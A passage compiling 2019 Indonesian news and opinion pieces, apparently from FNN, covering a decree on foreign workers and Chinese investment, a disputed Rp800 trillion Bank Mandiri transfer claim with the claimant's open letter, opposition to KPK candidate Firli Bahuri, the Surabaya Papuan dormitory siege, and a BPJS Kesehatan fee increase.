Berapa banyak yang Anda bayangkan perusahaan RRC akan masuk ke 23 subsektor itu? Dan ingat! Ada banyak subsektor primadona. Bisa ratusan atau ribuan perusahaan akan melakukan invasi ke sini. Sekadar catatan Anda saja, China memiliki 2,800,000 (dua juta delapan ratus ribu) perusahaan industri manufaktur itu. Amerika Serikat saja yang sudah lama menguasai industri manufaktur, hanya memiliki 275,000 perusahaan (pabrik). Kita lihat bagaimana China menyelipkan pesan di Kepmen 228/2019. Untuk subsektor kertas dan produksi berbasis kertas, ada 174 posisi yang boleh dipegang oleh orang asing. Ini pertanda bahwa RRC akan masuk besar-besaran di pengolahan kertas. China tahu persis booming industri ini. Karena semua orang membeli kertas, setiap hari. Lihat saja kemasan odol, kemasan sikat gigi, kemasan rokok, kemasan parfum, segala jenis tisu, segala jenis buku, kardus, dlsb. Industri ini menjanjikan penguasaan hulu ke hilir. Ada lagi sektor yang sangat penting dan sensitif. Yaitu, Informasi dan Telekomunikasi. Kepmen ini semakin terasa bumbu China-nya. Di sini ada urusan satelit, alat-alat telekomunikasi, pertelevisian, dll. China sangat menguasai sektor ini. Di sini, orang asing boleh menjadi direktur utama, wakil dirut, general manager, manajer cabang, manajer keuangan, manajer layanan pelanggan, manajer purna jual, dst. Boleh juga menduduki kepala teknisi satelit, kepala stasiun bumi, urusan pemasaran, dan yang lain-lainnya. Potong cerita, begitulah Kepmen 228 tahun 2019. Kelihatannya sepele, cuma keputusan menteri. Tapi, itulah taktik yang jitu. Tidak usah pakai Kepres. Karena berpotensi untuk diributkan publik. Kalau kepmen, Presiden tinggal marah-marah saja kepada menteri andaikata ada reaksi keras dari rakyat. Cukup bilang, “Itu bukan urusan saya.

Warga Negara Swedia Yang Mengaku Terima Rp800 Triliun dari Raja Salman Kirim Surat Terbuka ke Bank Mandiri

Jakarta, FNN – Perseteruan Bank Mandiri dengan salah satu nasabahnya, Michael Olsson yang dananya raib hingga Rp 800 Triliun belum tuntas. PT Bank Mandiri (Persero) Tbk dalam konferensi pers menyebut kiriman dana Rp800 triliun yang hilang adalah hoaks semata. Mendapat tanggapan itu Michael Olsson langsung memberi tanggapan melalui surat terbuka yang dikirim ke redaksi Forum News Netwok (FNN). Dalam surat terbukanya, Olsson mengaku punya catatan transaksi perbankan antara Bank Mandiri dengan Barclays Bank di London, Inggris. Dia mempertanyakan sikap Bank Mandiri yang tak menyertakan pesan SWIFT terkait transaksi yang dipermasalahkan dalam realease yang diterima FNN, Jumat (30/8/2019). “Anda Pak, menyimpulkan ini semua adalah HOAX dan bahkan MEYAKINKAN BAHWA INI PALSU karena sebuah SURAT ELEKTRONIK dari Perwakilan Layanan Nasabah di Singapore atau Hongkong?” kata Olsson dalam surat terbukanya. Olsson juga bersikeras transaksi sebesar Rp800 triliun yang disebutnya berasal dari Raja Salman benar terjadi. Menurutnya, bantahan Corporate Secretary Bank Mandiri Rohan Hafas mempermalukan Presiden Jokowi karena Bank Mandiri berstatus BUMN. Pertanyakan Sikap Rohan Dia kemudian mempertanyakan sikap Rohan yang tak mau berkomunikasi. Menurut Olsson, harusnya Rohan mau berkomunikasi dengannya serta mengikuti protokol transaksi yang sudah disepakati Bank Mandiri dengan Barclays Bank melalui sistem pembayaran SWIFT. "Kepada media Anda mengklaim bahwa aset Bank Mandiri tidak cukup menampung transaksi yang saya sebut, tentu saja kebohongan. Saya justru melihat ini sebagai bukti bahwa Bank Mandiri tak bisa menemukan transaksi tersebut yang berarti dana itu hilang," katanya. Rohan sebelumnya mengungkap kronologi pengakuan Olsson ihwal hilangnya transfer dana sebesar Rp800 triliun ini yang diakui berasal dari keluarga Raja Salman. Pertama, Olsson disebut sudah pernah bertanya mengenai kasus ini pada 2 April dan 18 April 2019. Setelah itu, Bank Mandiri menyampaikan jawaban pada 24 April bahwa kabar adanya transfer dana senilai Rp800 triliun untuk Olsson adalah informasi tidak benar. Namun, Bank Mandiri lantas mendapat somasi pada 7 Mei 2019 dari Olsson. Dia mengajukan somasi atas nama PT Shields Security Solutions. Somasi itu kemudian ditanggapi emiten perbankan berkode BMRI ini dengan menyebut tak pernah ada transfer dana sebesar 50 miliar euro dari Barclays Bank ke Bank Mandiri untuk Olsson atau perusahaannya. Setelah mendapat penjelasan tersebut, WNA asal Swedia ini tiba-tiba mengadukan masalah ini ke kepolisian pada Rabu (28/8/2019). Atas laporan tersebut maka Bank Mandiri menegaskan pernyataannya soal kasus ini. "Kalau memiliki Rp800 triliun logika saja sudah jadi orang terkaya di dunia yang bersangkutan. Pemerintah juga mau pindah Ibu Kota biayanya Rp420 triliun, jadi bisa dua kali pindah kalau Rp800 triliun," katanya. Bank Mandiri juga telah berkomunikasi dengan Barclays Bank, yang diklaim Olsson sebagai tempat asal pengiriman dana Rp800 triliun untuknya. Dalam komunikasi melalui surat elektronik, Barclays Bank menyebut informasi Olsson tidak benar. Berikut Kutipan Surat Terbuka Olsson: Jakarta, 30 Agustus 2019. Bapak Rohan Hafas,, Corporate Secretary PT Bank Mandiri (Persero) Tbk. Sebagai tanggapan dari tuduhan tidak mendasar yang dibuat terhadap saya, Perusahaan Saya, klien Saya, Global Investment Investor kami, Saya merasa Saya harus menjawabnya dengan melalui Surat Terbuka agar dunia dapat melihatnya. Pempublikasian Surat Terbuka kelihatannya satu satunya jalan untuk berkomunikasi dengan anda sejak anda menghindari komunikasi dengan Saya selama lebih dari Tiga (3) Bulan sampai dengan saat ini. Anda, Pak, tidak menjawab panggilan telepon, email maupun surat. Anda, Pak, baru baru ini memilih untuk go public dengan Pernyataan tentang Saya sebagai Individu dan Warga Negara yang Jujur dan dengan ini menjawab persoalan lain yang anda angkat. Anda, Pak, harus sadar bahwa PT. Bank Mandiri (Persero) Tbk adalah BUKAN PT Bank Century, pemberi kerja anda yang terdahulu, dan sudah seharusnya Bapak memperlakukan bank, para stafnya, dan para nasabah dengan respek. Di media anda menyebut Saya, Perusahaan Saya dan Klien/Investor Saya hanya sebuah HOAX. Ini tidak sejalan dengan komunikasi resmi Saya dengan PT. Bank Mandiri (Persero) Tbk. dan ini pernyataan tanpa bukti apapun. Sekarang, hari ini 30 Agustus 2019, anda menambah pencemaran nama baik selangkah lebih jauh dengan mempublikasikan Informasi Pribadi saya, Tempat Tinggal Saya dan beberapa email dari Kantor Cabang Barclays Bank di Asia dengan cara screenshoot?! Di bawah ini sedikit Pelajaran buat anda, Bebas Biaya, bagaimana cara untuk memverifikasi: Diawali dengan Bank anda, PT Bank Mandiri (Persero) Tbk. telah mengkonfirmasi secara tertulis kepada kami bahwa pada tanggal 17 Juni 2019 SWIFT MT199 dikirim ke Barclays Bank PLC, London – United Kingdom. Dinyatakan bahwa pesan SWIFT yang diduga untuk mengkonfirmasi transaksi yang terjadi pada tanggal 26 Maret 2019 dengan menggunakan kode FINMT103 dengan FINMT102 Cash Cover. Bank Anda memutuskan untuk mengesampingkan FINMT199 tertanggal 4 April 2019 dari Barclays Bank PLC, London – United Kingdom berjudul “Confirmation of Transaction” yang karyawan anda sendiri memastikan statusnya aktif di dalam sistem bahkan sampai hari ini. Untuk memperburuk masalah Layanan Nasabah anda menjawab tertulis pada Saya bahwa MT199 telah diterima dari Barclays Bank PLC, London – United Kingdom membantah transaksi. KENAPA ANDA TIDAK MEMBAWA SWIFT TERSEBUT KE KONFERENSI HARI INI? KARENA ANDA TIDAK MEMILIKINYA KARENA ANDA TIDAK PERNAH KIRIM! Dalam tujuan utama anda untuk mempermalukan Saya dan Lebih Jauh Menipu Nasabah seperti melalui Kesalahan Dunia Maya anda, anda kemudian mengumumkan ke seluruh Kota bahwa anda telah secara pribadi memverifikasi semua ini. Anda Pak, menyimpulkan ini semua adalah HOAX dan bahkan MEYAKINKAN BAHWA INI PALSU karena sebuah SURAT ELEKTRONIK dari Perwakilan Layanan Nasabah di Singapore atau Hongkong?! Mohon izinkan saya untuk mengundang anda ke dalam pelajaran logika umum 2, bagaimana cara memverifikasi sebuah pembayaran: Ketika anda menerima, atau pada kasus anda klaim anda tidak menerima, sebuah berita pembayaran SWIFT dari salah satu nasabah anda dan anda tidak dapat MENEMUKANNYA (seperti dibicarakan sebelumnya) atau meng-HOAX-kan itu anda perlu menjalankan langkah langkah ini; Siapa yang mengajukan Pembayaran? Jadi pertama anda periksa siapa yang mengirim? Apakah si Pengirim Barclays Private Banking Singapore (yang sudah tutup 2 tahun lalu) atau apakah Barclays Banking HK? Bukan, ini adalah Barclays Bank PLC, London – United Kingdom. Ini merupakan transfer ukuran besar dan Petugas Bank yang menandatangani adalah Board Member Bank. Jadi anda mempertanyakan Pejabat Tinggi Bank ke Perwakilan Layanan Nasabah? Tidak, itu tidak mungkin. Jika ada pertanyaan melalui email menyangkut PT. Bank Mandiri (Persero) Tbk juga akan dijawab NEGATIVE. Ini yang dinamakan BANK TO BANK Protocol dan ketika Bank anda menerima BMRIIDJA as your SWIFT access yang telah anda tanda tangani, atau setidaknya Anggota Dewan anda, dokumen kecil yang disebut “Bank to Bank Verification Protocol”. Dengan dokumen yang memiliki KEKUATAN LEGAL penuh anda seharusnya mengikuti PROTOKOL yang berlaku untuk Verifikasi. Dana ini DIKONFIRMASI ada di BANK anda Pak. Mudahnya Direktur Treasury anda seharusnya mengirimkan permohonan sebagai pejabat bank dengan jabatan cukup tinggi untuk menanyakan TOP LEVEL SECURITY CLEARANCE. Tetapi, setiap karyawan di bank anda bisa lihat MT199 dikirim dari Barclays pada 4 April 2019. Apakah ini tidak aneh? Mohon izinkan saya untuk mengajak anda ke kelas pelajaran logika umum 3, bagaimana Catatan Tidak Pernah Bohong: Anda, Pak, sangat mengagungkan bahwa PT. Bank Mandiri (Persero) Tbk tidak pernah melakukan kesalahan dan anda bahkan TIDAK mengizinkan ini untuk menjadi pilihan untuk MENGHINDAR dari menjaga Komunikasi yang terjadi. Sebaliknya anda membela kasus yang sepertinya anda TIDAK MENGERTI dan jauh di atas tingkatan upah anda. Catatan Transaksi Bank Tidak Pernah Bohong, baik Kepolisian National Indonesia dan KPK keduanya memiliki bukti ini. Kami juga melampirkan ke Bank anda, OJK dan Bank Sentral Indonesia (BI). Lain kali anda mengadakan konferensi media dan menuduh saya, mohon jelaskan siapa yang memiliki 202.22.31.0/24 dengan ID AS23954 ?? Setiap orang dengan sedikit pengetahuan dalam dunia internet tahu bahwa alamat IP tersebut milik PT. BANK MANDIRI (PERSERO) TBK. Jadi sebagai penutup, Mengapa anda Mempertaruhkan Masyarakat Indonesia dalam, kesempatan sekali seumur hidup, menjalankan ibadah Haji dengan menghina Raja Arab Saudi? Anda meyakinkan mengetahui bahwa dana ini BUKAN dari Kerajaan Arab Saudi. Satu satunya hubungan yang ada saat ini adalah anggota Keluarga Raja Kerajaan Arab Saudi memiliki Posisi sebagai Dewan Kehormatan dalam Perusahaan Global Institutional Investor yang dalam Kerjasama dengan PT. Shields Security Solution. Anda juga tahu bagaimana ini sepertinya akan direspons? Hal ini juga mempermalukan Presiden Republik Indonesia sebagaimana beliau menjunjung tinggi Kerjasama antara Republik Indonesia dengan Kerajaan Arab Saudi. Anda secara Legal Mewakili BANK MILIK NEGARA. Apakah anda misalnya menghubungi Kedutaan Besar Republik Indonesia di Riyadh, Arab Saudi untuk benar benar memeriksa informasi ini sebelum menyebarkannya ke Publik? Saya bisa memberi anda Kartu Nama dari Commercial Attaché yang mengunjungi Istana untuk memverifikasi Komunikasi mereka untuk Masalah ini. Anda akan dapat teman baru Pak, benar benar bukan cara yang baik untuk memulai Pertemanan dengan cara ini jika anda tanya Saya, Anda seharusnya menjawab telepon Saya, menjawab Surat Surat Saya dan mengikuti PROTOKOL yang tertulis dan disepakati antar Bank yang menggunakan Sistem Pembayaran SWIFT. Barclays Bank PLC, London - United Kingdom tidak memiliki catatan dari anda atau siapapun di PT Bank Mandiri (Persero) Tbk mengajukan pertanyaan tentang Dokumen dimaksud atau bahkan Otentikasi. Di Media anda Menyatakan bahwa Aset PT. Bank Mandiri (Persero) Tbk tidak cukup untuk mencakup dana tersebut dan oleh karena itu pasti suatu Kebohongan. Saya boleh sarankan bahwa bisa jadi sebagai bukti bahwa PT. Bank Mandiri (Persero) Tbk tidak bisa menemukan dana tersebut, berarti dana tersebut Hilang. Bank Mandiri (Persero) Tbk Kehilangan Dana nasabah bukan merupakan berita baru seperti anda sendiri mengakui ke media baru baru ini. Faktanya, anda juga mengakui bahwa masih ada dana nasabah yang masih hilang. Coba tebak, kami adalah salah satu dari Nasabah Setia Itu. Salah satu dari Argumen yang lebih Berkelas anda di Media adalah bahwa Saya Pembohong karena Saya menyatakan telah menjadi nasabah di Bank Mandiri selama 25 tahun, sedangkan Bank itu baru berusia 20 tahun. Saya membuka tabungan pertama Saya di Bank Bumi Daya pada Maret 1993, yang mana ternyata membuatnya menjadi 26 tahun. Sejak Hal ini terjadi sebelum masa anda izinkan saya mengklarifikasi, PT. Bank Bumi Daya menjadi PT.Bank Mandiri (Persero) Tbk pada Juli 1999, tapi mungkin anda tidak terima memonya, jadi saya maafkan anda untuk ketidaktahuan itu. Bagaimana anggota Dewan anda dapat terpilih dengan masalah ini masih outstanding juga masih Tanda Tanya Besar. Saya meminta Dana tersebut di Temukan Secepatnya dan di Masukan ke rekening saya. Perusahaan saya akan membuat Pernyataan Press Resmi segera dalam hal tidak ada komunikasi yang layak antara kita mulai Hari Ini. Anda tahu bagaimana menghubungi Saya, Saya yakin itu. Hormat Kami, Nasabah setia Bank Mandiri (sebelumnya Bank Bumi Daya) selama 26 tahun. (SWS)

Kata Rakyat, KPK Jangan Sampai Dipimpin Irjen Firli Bahuri

Presiden Jokowi meminta masukan masyarakat soal capim KPK. Masukan itu sudah banyak. Dan sudah sangat jelas. Jelas menolak Firli. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Publik menolak keras kehadiran Irjen Firli Bahuri di Komisi Pemberantasan Korupsi (KPK). Tetapi, dia punya kemungkinan duduk sebagai ketua lembaga musuh koruptor ini. Dia lolos menjadi 10 capim periode 2019-2023. Padahal, selama ini banyak masukan kepada pansel capim KPK tentang Firli. Ketika proses seleksi masih belum masuk ke babak 20 besar, pansel sudah bisa membaca dengan terang keberatan masyarakat terhadap Firli. Tapi, entah mengapa, pansel tetap mengganggap Kapolda Sumatera Selatan ini memiliki kriteria capim KPK. Dari sini dapat dibaca bahwa Firli bukan orang sembarangan. Patut diduga ada kekuatan keras di belakang beliau. Ada yang menginginkan agar dia menjadi ketua atau wakil ketua KPK. Ada yang berkepentingan supaya Firli menjadi bos di lembaga pemberantasan korupsi itu. Publik paham. Salah satu wakil masyarakat, yaitu LSM antikorupsi Indonesian Corruption Watch (ICW), melakukan berbagai manuver untuk menyadarkan semua pihak bahwa Firli tidak cocok memimpin KPK. Dia dianggap punya jejak masalah. Salah satu yang diduga cacat Firli adalah ketika dia, pada 13 Mei 2018, bertemu dengan Gubernur NTB Zainul Majdi alias Tuan Guru Bajang (TGB). Firli waktu itu menjabat sebagai Deputi Penindakan KPK. Sementara TGB sedang diselidiki oleh KPK tentang kemungkinan keterlibatannya dalam dugaan korupsi divestasi saham PT Newmont. Sebelum bergabung ke KPK, Firli menjabat sebagai Kapolda NTB. Pimpinan KPK mendalami kemungkinan Firli melanggar kode etik karena pertemuan itu. Di depan pansel capim KPK, Firli mengklaim bahwa dia tidak melanggar kode etik. Tetapi, jurubicara KPK Febri Diansyah menegaskan, KPK tidak pernah menyatakan Firli tak melanggar kode etik. TGB dan Firli mengatakan, mereka bertemu di lapangan tenis secara tak sengaja. Tapi, publik tampaknya tak percaya. Rakyat menolak Firli masuk ke lembaga yang menjadi tumpuan harapan untuk membasmi korupsi itu. Penolakan juga ditunjukkan oleh 500 pegawai KPK. Mereka terus terang menyatakan tidak sudi dipimpin oleh Filri Bahuri. Presiden Jokowi meminta masukan masyarakat soal capim KPK. Masukan itu sudah banyak. Dan sudah sangat jelas. Jelas menolak Firli. Selanjutnya, proses yang sangat krusial akan berlangsung di DPR. Lembaga wakil rakyat ini akan melakukan uji kecocokan dan kelayakan (fit and proper test) terhadap 10 capim KPK hasil seleksi pansel. Pansel yang diketuai oleh Yenti Garnasih itu dihujani kritik tajam terkait cara kerja dan hasil seleksi mereka. Dari 10 finalis capim, lima orang akan dinyatakan lulus untuk dikukuhkan sebagai komisioner KPK. Kita tunggu bersama bagaimana para anggota DPR memahami penolakan keras publik terhadap salah seorang capim. Rakyat mengatakan dengan lantang agar KPK jangan sampai dipimpin oleh Irjen Firli. Penolakan itu sangat serius. Ada baiknya disampaikan saran kepada ‘kekuatan’ yang mendukung Firli, siapa pun itu, agar tidak melawan keinginan rakyat. Disarankan juga kepada panitia ‘fit and proper test’ di DPR agar serius pula menanggapi aspirasi publik.

Dalang Rusuh Papua Orang Asing?

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Akhirnya Polda Jatim menetapkan Tri Susanti yang akrab dipanggil Mak Susi sebagai salah satu tersangka dalam kasus kerusuhan di Asrama Mahasiswa Papua (AMP) di Jalan Kalasan, Surabaya, Sabtu (17/8/2019). Politisi ini pun ditahan di Polda Jatim. Selain Mak Susi, seorang ASN bernama Syamsul Arifin yang bekerja di Pemkot Surabaya juga ditetapkan sebagai tersangka. SA diduga melontarkan ucapan rasialis kepada penghuni AMP yang memicu aksi massa di Papua dan Papua Barat. Nama Tri Susanti muncul di beberapa stasiun televisi pada Selasa (20/8/2019). Ini setelah di Papua dan Papua Barat terjadi kerusuhan yang meluas, menyusul ucapan rasialis di Surabaya itu. Mewakili beberapa ormas, Mak Susi meminta maaf ke publik. Menurutnya, pihaknya tak berniat mengusik warga Papua dan Papua Barat di Surabaya. “Kami atas nama masyarakat Surabaya dan rekan-rekan ormas menyampaikan permohonan maaf,” ungkap Mak Susi, seperti dilansir KompasTV. Kericuhan di AMP Surabaya, berawal dari informasi adanya perusakan bendera merah putih. “Kami hanya ingin bahwa Papua ini Indonesia. Kami hanya mau bendera merah putih. Jadi, tujuan utama kami untuk merah putih dan berdampak seperti itu,” lanjut dia. Mak Susi sempat diperiksa selama 10 jam di Markas Polda Jatim sejak pukul 15.00 WIB dari Senin (26/8/2019), terkait aksi pengepungan AMP. Saat itu tim penyidik mendalami dugaan ujaran kebencian yang dilakukan Mak Susi melalui grup WhatsApp. Ada 26 pertanyaan yang diajukan penyidik. Selain Mak Susi, ada lima anggota organisasi kemasyarakatan (ormas) yang telah diperiksa polisi. Salah satu diantaranya, AS, kini juga dijadikan tersangka dan ditahan oleh penyidik, menyusul Mak Susi. Setelah melakukan penyelidikan dan mendalami keterangan para saksi, polisi tetapkan MakSusi dan AS sebagai tersangka. Penetapan Mak Susi itu didasari sejumlah alat bukti, yakni video elektronik pernyataannya di sebuah berita, video serta narasi yang viral di media sosial, dan rekam jejak digital. Seperti diketahui, pada Rabu, 14 Agustus 2019, Mak Susi mengundang sejumlah ormas di sebuah warung di Jalan Penataran Surabaya. Kamis, 15 Agustus 2019, ia pun mengunggah pengumuman dalam sebuah grup WA berisi kata-kata: “Karena ada kemungkinan masalah bendera di depan Asrama Kalasan akan dibuat besar, digoreng oleh mereka bila butuh perhatian internasional. Semoga hanya dendam coklat saja, masalah penahanan mahasiswa di Polda Papua”. Selanjutnya, Jum’at, 16 Agustus 2019, Mak Susi mengunggah gambar di grup WA Info KB FKPPI. “Bendera merah putih dibuang ke selokan oleh kelompok separatis di Surabaya pada Jumat, 16 Agustus 2019, pukul 13.30 WIB, tepatnya di depan Asrama Mahasiswa Papua di Jalan Kalasan Surabaya”. Pada Sabtu, 17 Agustus 2019, di grup WA yang sama, Mak Susi menuliskan, “Mohon perhatian urgent, kami butuh bantuan massa, karena anak Papua akan melakukan perlawanan dan telah siap dengan senjata tajam dan panah. Penting Penting Penting”. Selanjutnya, dalam aksi Sabtu, 17 Agustus 2019, muncul ujaran-ujaran rasial yang disebut memicu aksi kerusuhan di sejumlah daerah di Papua dan Papua Barat. Setelah jadi tersangka, penyidik juga telah mengajukan surat pencekalan terhadap yang bersangkutan ke Direktorat Jenderal Imigrasi Kementerian Hukum dan HAM. “Permohonan pencekalan telah diajukan. Surat panggilan juga telah disampaikan. Sejauh ini, telah diperiksa 16 saksi terkait dan telah diperiksa ahli,” ujar Dedi, seperti dilansir Kompas TV, Rabu (28/8/2019). Menurut Brigjen Dedi, Mak Susi disangka Pasal 45A ayat 2 juncto Pasal 28 ayat 2 Undang-Undang Nomor 19 Tahun 2016 tentang Perubahan atas UU Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik. Menyusul Mak Susi, Tim Penyidik Ditreskrimsus Polda Jatim kembali menetapkan tersangka dalam kasus pengepungan AMP di Surabaya. Berdasar penyelidikan video dari laboratorium forensik dan mendalami keterangan saksi, SA ditetapkan tersangka dan ditahan. “SA diketahui mengeluarkan kata-kata mengandung rasis dan diskriminasi kepada penghuni asrama,” kata Kapolda Jatim Irjen Polisi Luki Hermawan, Jumat (30/8/2019). SA yang ASN tersebut dianggap melanggar Undang-Undang Nomor 40 Tahun 2008 tentang Penghapusan Diskriminasi Ras dan Etnis. Sayangnya, Irjen Luki belum mau menyebut dari kelompok ormas mana tersangka SA dimaksud. “Itu nanti, tunggu pendalaman saja,” terang Irjen Luki, seperti dikutip Kompas.com, Jum’at (30/8/2019). Selain Mak Susi dan AS (unsur sipil/warga), tampaknya bakal ada oknum TNI yang dijadikan tersangka karena diduga terlibat provokasi. Seperti dilansir Kompas.com, Minggu (25/8/2019), Kapendam V/Brawijaya Letkol Arm Imam Hariyadi mengatakan, lima anggotanya yang dijatuhi skorsing, salah satunya adalah Danramil 0831/02 Tambaksari. "Skorsing itu namanya pemberhentian sementara, sifatnya temporer. Walaupun sebenarnya itu merupakan sanksi juga ya, jadi hak-hak dia dikurangi juga,” katanya kepada Kompas.com, Minggu (25/8/2019) malam. Menurutnya Letkol Imam, skrosing itu diberikan untuk memudahkan Pomdam V/Brawijaya dalam melakukan penyidikan. Ia menyayangkan tindakan oknum anggota TNI tersebut yang diduga telah melakukan pelanggaran disiplin. Seorang prajurit teritorial, lanjutnya, seharusnya bisa menjaga sikap di lapangan. “Terkait dengan anggota saya, mereka pada saat di lapangan kenapa bisa menampilkan sikap-sikap seperti itu (melontarkan ujaran rasial),” ujar dia. Seorang prajurit teritorial, tampilan mereka di lapangan seharusnya menampilkan komunikasi sosial. “Tidak emosional, walaupun situasinya seperti itu (memanas),” tutur Letkol Imam. Ia menjelaskan, penyidikan yang dilakukan Pomdam V/Brawijaya terus berjalan. Selain itu, menurut Letkol Imam, Pomdam juga melengkapi berkas-berkas perkara sehingga kasus tersebut bisa segera dibawa ke persidangan. Mengenai sanksi yang akan dijatuhkan nanti, akan diputuskan melalui persidangan di peradilan militer. “Begitu persidangan nanti kan ada putusan. Nanti hasil putusan itulah yang (menentukan hukuman). Dasarnya adalah hasil penyidikan saat ini,” jelas Letkol Imam. Selain Danramil Tambaksari, Imam tidak menjelaskan secara rinci siapa saja 4 anggota TNI lainnya yang diduga ikut melontarkan makian kepada mahasiswa asal Papua tersebut. Ia memastikan semua yang ada di lapangan sudah diambil keterangannya. “Saya kurang tahu. Nanti yang lain juga akan didalami apakah hanya saksi atau diduga ikut terlibat (melontarkan kata-kata rasis), yang jelas kalau saya lihat ada satu kelihatan emosi,” kata Letkol Imam. Yang menarik untuk dipertanyakan adalah mengapa ada kesan pengepungan terhadap AMP ini bisa sampai terjadi, dan lolos dari aparat Polri maupun TNI? Apakah benar tersangka Tri Susanti sebagai Koordinator Aksi yang mengundang ormas lainnya? Ada baiknya kita ikuti bagaimana kronologi pengepungan AMP Surabaya menurut penuturan penghuni AMP berikut: Rabu, 14 Agustus 2019, 09.30 Kami didatangi Satpol PP untuk Izin Pemasangan bendera (merah-putih); Kamis, 15 Agustus 2019, 09.00 Kami didatangi Camat Tambaksari, Satpol PP, dan TNI untuk memasang bendera di depan AMP Surabaya; Jumat, 16 Agustus 2019, 09.02 Penambahan pengecoran tiang bendera di depan AMP Kamasan III Surabaya oleh Satpol PP bersama intel-intel aparat TNI-Polri, 15.45 Danramil Tambaksari datang mengamuk-ngamuk; Menendang pagar asrama KAMASAN III beberapa kali dan kemudian merusak fiber plat dan banner penutup pagar asrama, yang kemudian diikuti oleh anak buahnya berpakaian dinas loreng lengkap, juga berpakaian preman; Danramil sendiri yang kemudian memprovokasi beberapa massa yang diduga ormas untuk datang ke asrama seperti yang terlihat divideo. Satpol-PP, aparat kepolisian berpakaian dinas lengkap dan berpakaian preman pun berada di TKP namun tak berbuat apa-apa. Ancaman pembunuhan pun datang dari salah seorang oknum perwira TNI-AD, ”Awas kamu, kalo sampai jam 12 malam kamu keluar, lihat saja kamu saya bantai.” Ancaman serupa pun datang dari seorang oknum yang diduga intel berpakaian (Jaket coklat) preman. Ia mengancam Hendrik jika sampai keluar pagar asrama maka akan dibantai. Mereka memaki kami dengan kata-kata rasis: ”Monyet, Babi, Anjing dan Kera”, juga: ”Kamu jangan keluar, saya tunggu kamu”. Saat itu juga jumlah ormas-ormas reaksioner semakin bertambah banyak. Kemudian mereka dobrak pintu depan asrama dan melempari batu hingga mengakibatkan kaca asrama pecah, jalan-jalan pun diblokade. Kami terkurung diruang Aula Asrama. Sabtu, 17 Agustus 2019, 13.20-13.40 Ormas orasi-orasi dengan meneriaki yel-yel, usiir, usiir, usiir Papua, Usir Papua sekarang juga. Selain itu kata-kata rasis (Monyet,Anjing, Babi), dan berbagai kata makian pun masih diteriaki; 13.40-14.20 Aparat berusaha menyuruh kami untuk segera mengosongkan Asrama dan salah satu anggota dari LBH Bung Dani melakukan negosiasi. Selang beberapa menit ia masuk dan mengkoodinasi dengan Mahasiswa Papua di dalam ruang Aula selama 5 Menit. 14.20 - 14.40 Kami diteriaki dengan semua kata-kata rasis sambil barisan Aparat Brimob mulai mengangkat senjata laras panjang dan mengarahkan ke Arah Asrama. Mereka langsung masuk mendobrak pintu kecil sambil melakukan tembakan. Kami Mahasiswa ada di dalam Aula dan berusaha melindungi diri dari tembakan senjata api dan gas air mata yang dilepaskan dari aparat dan Ormas yang meneriaki rasis. Kami semua kena gas air mata dan rasa pedis + panas di kulit kami semakin menjadi-jadi. Selama tembakan berlangsung suasana, asrama penuh dengan kabut asap dan beberapa di antara kami sesak nafas. Mereka berhasil masuk dan mengarahkan senjata ke depan sambil mengarah ke arah posisi kami kumpul. 14.40 Kami dipaksa dan didorong dari lantai 2 turun dan berjalan jongkok keluar dengan tangan terangkat. Sementara itu alat komunikasi kami semua dirampas dan ditahan. Kami diarahkan keluar menuju halaman dan dipaksa menggunakan tembakan senjata api untuk turun dari lantai 2. Kami diangkut ke dalam 4 Dalmas lebih yang sudah parkir depan asrama sejak pagi tadi. Kami diperiksa dan didorong masuk ke truk Dalmas. Ada di antara kami yang dipukul dengan sepatu laras panjang dan pukulan tangan hingga mengeluarkan darah. Ada 4 orang yang diborgol tangannya dan dituntun keluar asrama dan diangkut. Ada diantara kami yang luka berdarah. 15.50 Kami tiba di Polrestabes Surabaya dan diarahkan di salah satu ruangan dan dimintai Keterangan Nama; 18.20 Kuasa Hukum kami dari LBH dan Kontras Surabaya melakukan negosiasi; 18.24 - 21.45 Kami dimintai keterangan Kepolisian; 23. 20 Kami dipulangkan dan tiba di Asrama Mahasiswa Papua. Dari jejak waktu dan peristiwa di atas sudah jelas, siapa yang seharusnya bertanggung jawab atas insiden di AMP Surabaya itu hingga menjadi “pemantik” kerusuhan di Papua dan Papua Barat. Atas perintah siapa Koramil memprovokasi Ormas? Juga, atas perintah siapa Brimob lakukan “penyerangan”? Dengan mudah bisa dijawab: adakah Asing terlibat? ***

Beranikah Jokowi Tetap Menaikkan Iuran BPJS Kesehatan?

Penolakan bukan hanya datang dari penentang pemerintah, namun juga dari kalangan pendukung Jokowi. Sejumlah netizen yang selama ini dikenal sebagai pendukung garis keras Jokowi, ramai-ramai balik badan. Mereka menyatakan kecewa. Ada yang sampai mengusulkan agar Jokowi dimakzulkan (impeach). Oleh : Hersubeno Arief Jakarta, FNN - Kurang dari satu bulan mengakhiri masa jabatannya, anggota DPRRI (2014-2019) malah meninggalkan bom waktu untuk Presiden Jokowi. Bila salah menanganinya, bom waktu itu bisa meledak dan menghancurkan periode kedua pemerintahan Jokowi. Dalam rapat gabungan dengan pemerintah Senin (2/9), anggota Komisi IX dan XI DPR sepakat menolak rencana pemerintah menaikkan iuran peserta Jaminan Kesehatan Nasional (JKN). Lebih dikenal sebagai BPJS Kesehatan. DPR hanya menyetujui kenaikan iuran untuk peserta mandiri kelas I dan II. Sementara untuk peserta bukan Penerima Bantuan Iuran (PBI) kelas III ditolak. Pemerintah boleh menaikkan dengan catatan telah menyelesaikan pembersihan data (data cleansing) yang acakadut. Dalam rapat pekan sebelumnya, Menkeu Sri Mulyani mengusulkan kenaikan iuran sampai lebih dari 100 persen. Menaikkan iuran dinilai merupakan satu-satunya cara untuk menutup defisit yang dari tahun ke tahun, terus membengkak. Peserta JKN kelas I tadinya hanya membayar Rp 80.000/ bulan dinaikkan menjadi Rp 160.000. Peserta JKN kelas II dari Rp 51.000 menjadi Rp 110.000. Sementara peserta JKN mandiri kelas III yang tadinya hanya membayar iuran sebesar Rp 25.500, naik menjadi Rp 42.000 per bulan. Menaikkan dan menurunkan iuran BPJS Kesehatan sesuai ketentuan perundang-undangan adalah kewenangan Presiden. Jadi keputusan DPR sesungguhnya tidak punya kekuatan mengikat. Presiden bisa saja mengabaikannya. Itu kalau berani. Situasinya kini sungguh berbeda. Di tengah beban hidup masyarakat kian berat, tarif listrik naik, harga BBM naik, harga-harga kebutuhan pokok terus merangsek naik, kenaikan iuran BPJS kesehatan menjadi isu politik yang sangat sensitif. Bola liar yang akan digoreng habis oleh lawan-lawan politiknya. Reaksi keras segera bermunculan. Konfederasi Serikat Pekerja 